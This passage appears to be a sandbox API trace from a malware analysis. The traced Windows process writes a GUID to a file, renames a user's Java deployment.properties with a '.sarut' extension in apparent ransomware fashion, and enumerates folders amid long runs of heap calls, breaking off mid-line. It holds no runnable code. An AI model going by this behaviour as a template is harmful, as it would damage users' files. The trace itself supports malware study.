[0272.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.754] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.754] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.754] CloseHandle (hObject=0x5c4) returned 1 [0272.755] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307faa8 [0272.755] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0272.755] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0272.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.sarut")) returned 1 [0272.756] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.756] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.757] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0272.757] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0272.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x6f1e70 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31159a8 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd0) returned 0x303d058 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307faa8 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fb70 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307ff58 [0272.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x3080020 [0272.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115858 | out: hHeap=0x640000) returned 1 [0272.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x303cea8 | out: hHeap=0x640000) returned 1 [0272.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fdc8 | out: hHeap=0x640000) returned 1 [0272.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fe90 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fc38 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fd00 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0272.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115858 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.761] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0272.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x6f9050 [0272.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x3023cf8 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f9050 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.761] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0272.761] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0272.761] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.762] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.762] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.764] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.765] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.765] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.766] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.766] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.770] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, 